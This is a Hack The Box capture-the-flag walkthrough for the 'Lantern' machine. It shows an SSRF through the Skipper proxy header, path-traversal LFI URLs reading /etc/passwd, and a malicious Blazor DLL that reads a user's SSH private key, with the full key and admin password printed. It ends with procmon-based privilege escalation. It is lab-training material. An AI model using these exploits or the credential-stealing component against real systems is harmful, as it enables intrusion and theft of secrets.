HTB - Lantern
Box Info
Name | Lantern |
---|---|
Release Date | 23 Aug, 2024 |
OS | Windows |
Rated Difficulty | Hard |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
$ sudo nmap -p- --open --min-rate 5000 -n -sS -vvv 10.10.11.29 -oG allPorts
[sudo] password for racc0x:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-20 13:25 EDT
Initiating Ping Scan at 13:25
Scanning 10.10.11.29 [4 ports]
Completed Ping Scan at 13:25, 0.09s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:25
Scanning 10.10.11.29 [65535 ports]
Discovered open port 80/tcp on 10.10.11.29
Discovered open port 22/tcp on 10.10.11.29
Discovered open port 3000/tcp on 10.10.11.29
Completed SYN Stealth Scan at 13:25, 13.43s elapsed (65535 total ports)
Nmap scan report for 10.10.11.29
Host is up, received echo-reply ttl 63 (0.17s latency).
Scanned at 2024-08-20 13:25:24 EDT for 13s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
3000/tcp open ppp syn-ack ttl 63
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
|_ 256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
80/tcp open http Skipper Proxy
|_http-title: Did not follow redirect to http://lantern.htb/
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Content-Length: 207
| Content-Type: text/html; charset=utf-8
| Date: Tue, 20 Aug 2024 17:26:17 GMT
| Server: Skipper Proxy
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Length: 225
| Content-Type: text/html; charset=utf-8
| Date: Tue, 20 Aug 2024 17:26:11 GMT
| Location: http://lantern.htb/
| Server: Skipper Proxy
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://lantern.htb/">http://lantern.htb/</a>. If not, click the link.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, OPTIONS, HEAD
| Content-Length: 0
| Content-Type: text/html; charset=utf-8
| Date: Tue, 20 Aug 2024 17:26:11 GMT
|_ Server: Skipper Proxy
|_http-server-header: Skipper Proxy
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 500 Internal Server Error
| Connection: close
| Content-Type: text/plain; charset=utf-8
| Date: Tue, 20 Aug 2024 17:26:16 GMT
| Server: Kestrel
| System.UriFormatException: Invalid URI: The hostname could not be parsed.
| System.Uri.CreateThis(String uri, Boolean dontEscape, UriKind uriKind, UriCreationOptions& creationOptions)
| System.Uri..ctor(String uriString, UriKind uriKind)
| Microsoft.AspNetCore.Components.NavigationManager.set_BaseUri(String value)
| Microsoft.AspNetCore.Components.NavigationManager.Initialize(String baseUri, String uri)
| Microsoft.AspNetCore.Components.Server.Circuits.RemoteNavigationManager.Initialize(String baseUri, String uri)
| Microsoft.AspNetCore.Mvc.ViewFeatures.StaticComponentRenderer.<InitializeStandardComponentServicesAsync>g__InitializeCore|5_0(HttpContext httpContext)
| Microsoft.AspNetCore.Mvc.ViewFeatures.StaticC
| HTTPOptions:
| HTTP/1.1 200 OK
| Content-Length: 0
| Connection: close
| Date: Tue, 20 Aug 2024 17:26:21 GMT
| Server: Kestrel
| Help:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| Date: Tue, 20 Aug 2024 17:26:16 GMT
| Server: Kestrel
| RTSPRequest:
| HTTP/1.1 505 HTTP Version Not Supported
| Content-Length: 0
| Connection: close
| Date: Tue, 20 Aug 2024 17:26:22 GMT
| Server: Kestrel
| SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| Date: Tue, 20 Aug 2024 17:26:38 GMT
|_ Server: Kestrel
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
It is using an Ubuntu Jammy
Web:
At the bottom of the page, we find that we can upload a PDF file.
Web port 3000
Through port 3000, we have another page but for administrators
The web page is using blazor framework
Looking what it is blazor framework
http://lantern.htb:3000/Error
1
feroxbuster -u http://lantern.htb/
CVE-2022-38580
https://www.exploit-db.com/exploits/51111
Skipper Proxy is an open-source HTTP proxy designed to manage and route web traffic.
SSRF | Skipper Proxy
X-Skipper-Proxy: http://127.0.0.1:5000/ X-Skipper-Proxy: http://127.0.0.1:3000/
We will target internal ports and see if we can get a response (200 OK).
EndPoints
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<script type="text/javascript">
(function (l) {
if (l.search[1] === '/') {
var decoded = l.search.slice(1).split('&').map(function (s) {
return s.replace(/~and~/g, '&')
}).join('?');
window.history.replaceState(null, null,
l.pathname.slice(0, -1) + decoded + l.hash
);
}
}(window.location))
</script>
<script>
var path = window.location.pathname.split('/');
var base = document.getElementsByTagName('base')[0];
if (window.location.host.includes('localhost')) {
base.setAttribute('href', '/');
} else if (path.length > 2) {
base.setAttribute('href', '/' + path[1] + '/');
} else if (path[path.length - 1].length != 0) {
window.location.replace(window.location.origin + window.location.pathname + '/' + window.location.search);
}
</script>
<link href="css/bootstrap/bootstrap.min.css" rel="stylesheet" />
<link href="css/app.css" rel="stylesheet" />
</head>
<body>
<div id="app">Loading...</div>
<div id="blazor-error-ui">
An unhandled error has occurred.
<a href="" class="reload">Reload</a>
<a class="dismiss">đź—™</a>
</div>
<script src="_framework/blazor.webassembly.js"></script>
Blazor Framework
1
<!--Blazor:{"sequence":1,"type":"server","prerenderId":"e8257d9551ad40e1a7ccdf4c47a26283","descriptor":"CfDJ8BUo1ePf0MxMocV2v0oTDZEwgRKevFE9FDWFo3Hoh\u002Bctlq06n97j8wSmwAUYH1IF2HZuCK6\u002BshII3spoGgE5IVxEDTXiVB\u002BA1rBDo\u002B8BB\u002B12\u002BjL7EcO6jaHC0CDRCckmtRhk5y\u002B/UK9iXSszEyylLY/js/yeVqNQSWhUXxJZmvUbQVjHPH3/905RVhci7a2y4a5p6zdP8MnwgxhVUSCDZsGEFFQnAF7D\u002BPKVcJMyo0qmeC0RXolHvW/77/evOaDqem\u002BygXua99Tey8h2f4LP7JV3Uum8bhtDhtCfnR\u002BLda\u002B9y3Ok5cyDR5vejvy7nuj5xJUdqTFZ0Lk7P42TVHR0Sb8FldpOkFzXJPeBfWy7LJPqEbtIH06HtukzxeYWChVm8c/Mm\u002BwoVm/KsoZ9MAKCPiDq6Q4uPEW1xeOpJ8cQOYh9"}--><!--Blazor:{"prerenderId":"e8257d9551ad40e1a7ccdf4c47a26283"}-->
Here we found another file interesting.
view-source:http://lantern.htb:3000/_framework/
view-source:http://lantern.htb:3000/_framework/blazor.server.js
1
2
3
4
5
6
7
8
9
10
11
12
GET /_framework/blazor.server.js HTTP/1.1
Host: lantern.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Skipper-Proxy: http://127.0.0.1:3000
Referer: http://lantern.htb/vacancies
Content-Type: multipart/form-data; boundary=---------------------------77018016341540896892659445340
Content-Length: 714
Origin: http://lantern.htb
Connection: keep-alive
We filter by the blazor word for know if there exist another file interesting.
I found 2 routes, of which blazor.boot.json contains paths to DLL files. We will try to access them and find something interesting.
_framework/dotnet.wasm
_framework/blazor.boot.json
DLL
Radzen.Blazor.dll InternaLantern.dll
1
2
3
4
5
6
7
8
9
10
11
12
GET /_framework/InternaLantern.dll HTTP/1.1
Host: lantern.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Skipper-Proxy: http://127.0.0.1:5000
Referer: http://lantern.htb/vacancies
Content-Type: multipart/form-data; boundary=---------------------------77018016341540896892659445340
Content-Length: 714
Origin: http://lantern.htb
Connection: keep-alive
For download the DLL’s we can use curl:
1
curl -X GET "http://lantern.htb/_framework/InternaLantern.dll" -H "Host: lantern.htb" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" -H "X-Skipper-Proxy: http://127.0.0.1:5000" -H "Connection: close" --output internalantern.dll
And for decompile DLL’s we can use:
dnSpy Spoiler: We didn’t get good results.
dotPeek
1
2
3
4
5
6
employee1.InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("SGVhZCBvZiBzYWxlcyBkZXBhcnRtZW50LCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBqb2huLnNAZXhhbXBsZS5jb20="));
employee2.InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("SFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGFubnkudEBleGFtcGxlLmNvbQ=="));
employee3.InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("RnVsbFN0YWNrIGRldmVsb3BlciwgZW1lcmdlbmN5IGNvbnRhY3Q6ICs0NDEyMzQ1Njc4LCBlbWFpbDogY2F0aGVyaW5lLnJAZXhhbXBsZS5jb20="));
employee4.InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("UFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGxhcmEuc0BleGFtcGxlLmNvbQ=="));
employee5.InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("SnVuaW9yIC5ORVQgZGV2ZWxvcGVyLCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBsaWxhLnNAZXhhbXBsZS5jb20="));
employee6.InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("U3lzdGVtIGFkbWluaXN0cmF0b3IsIEZpcnN0IGRheTogMjEvMS8yMDI0LCBJbml0aWFsIGNyZWRlbnRpYWxzIGFkbWluOkFKYkZBX1FAOTI1cDlhcCMyMi4gQXNrIHRvIGNoYW5nZSBhZnRlciBmaXJzdCBsb2dpbiE="));
Decode the string in base64 (_echo “” | base64 -d) |
- Head of sales department, emergency contact: +4412345678, email: john.s@example.com
HR, emergency contact: +4412345678, email: anny.t@example.com
FullStack developer, emergency contact: +4412345678, email: catherine.r@example.com
PR, emergency contact: +4412345678, email: lara.s@example.com
PR, emergency contact: +4412345678, email: lara.s@example.com
- System administrator, First day: 21/1/2024, Initial credentials admin:AJbFA_Q@925p9ap#22 Ask to change after first login!
Login lantern.htb:3000 with the credentials admin:AJbFA_Q@925p9ap#22
There is a section where we can upload DLL files; at this point, what comes to mind is a potential RCE.
File Disclosure Vulnerability
LFI
1
http://lantern.htb/PrivacyAndPolicy?lang=../../../../etc/resolv&ext=conf
http://lantern.htb/PrivacyAndPolicy?lang=../../../../&ext=./etc/passwd
User: tomas
RCE | Insecure Deserialization | Blazor
Now we will intercept the request to see how it is sent to the server behind the scenes
It seems we can see the serialized information in JSON; to read it, we need to deserialize it. For that, we will use an extension in BurpSuite called BPB.
We need to upload a DLL file and see what we can do with the deserialized data. Once we upload the file and deserialize it, we can see that we can insert the name of our file in the path to execute it.
Deserialize
Serialize
Below you can see that can execute the test.dll file.
Now we a create and charge our dll file for show the id_rsa from user tomas.
1
2
3
4
sudo apt install dotnet-sdk-6.0
mkdir xpl_project && \
cd xpl_project && \
dotnet new classlib -n xpl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
using System.IO;
namespace xpl
{
public class Component : ComponentBase
{
protected override void BuildRenderTree(RenderTreeBuilder builder)
{
base.BuildRenderTree(builder);
// Read private SSH key of user tomas
string file = File.ReadAllText("/home/tomas/.ssh/id_rsa");
builder.AddContent(0, file);
}
}
}
1
2
3
4
5
6
7
dotnet add package Microsoft.AspNetCore.Components --version 6.0.0 && \
dotnet add package Microsoft.AspNetCore.Components.Web --version 6.0.0
dotnet build -c release
We will find the xpl.dll file under path /xpl_project/xpl/bin/release/net6.0.
We got the id_rsa:
1
2
3
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
/var/mail$ cat tomas
sudo -l
Procmon
-p/–pids: This option allows us to specify a list of Process IDs (PIDs) that we want to monitor. We can provide multiple PIDs by separating them with commas.
-e/–events: With this option, we can specify which system calls or events you want to monitor. Like the PIDs, these events can also be provided as a comma-separated list.
-c/–collect [FILEPATH]: This option starts procmon in headless mode, meaning it will run without a user interface and will collect data directly into a specified file. This is useful for automated or script-based monitoring.
-f/–file FILEPATH: This option allows us to open an existing procmon trace file. It’s useful when we want to analyze previously collected data rather than monitoring processes in real time.
run command: ps -aux | ps -aux | grep automation for to display information about the currently running processes. |
Now we can see the write operations performed by the process with the follow command:
sudo /usr/bin/procmon -p [PID] -e write
Wait for a few minutes, long enough for the program to write sufficient data, Press F6 to export logs and F9 to exit:
Download db:
1
2
scp -i id_rsa tomas@lantern.htb:/home/tomas/procmon_2024-
08-23_00:50:02.db lantern.db
Open db with Sqlite3:
.tables
SELECT * FROM ebpf;
.output out.txt
SELECT hex(substr(arguments, 9, resultcode)) FROM ebpf WHERE resultcode > 0 ORDER BY timestamp;
Hexadecimal format
Or use this script for decode the hexadecimal format:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import binascii
# Read the content from out.txt
with open('out.txt', 'r') as file:
hex_data = file.read().strip().replace('\n', '')
# Convert hex data to binary
binary_data = binascii.unhexlify(hex_data)
# Decode the binary data to a string
try:
decoded_string = binary_data.decode('utf-8', errors='replace')
except UnicodeDecodeError:
decoded_string = binary_data.decode('latin1', errors='replace')
print("Decoded Data:\n")
print(decoded_string)
We need to delete the duplicate letters.
Pwned!!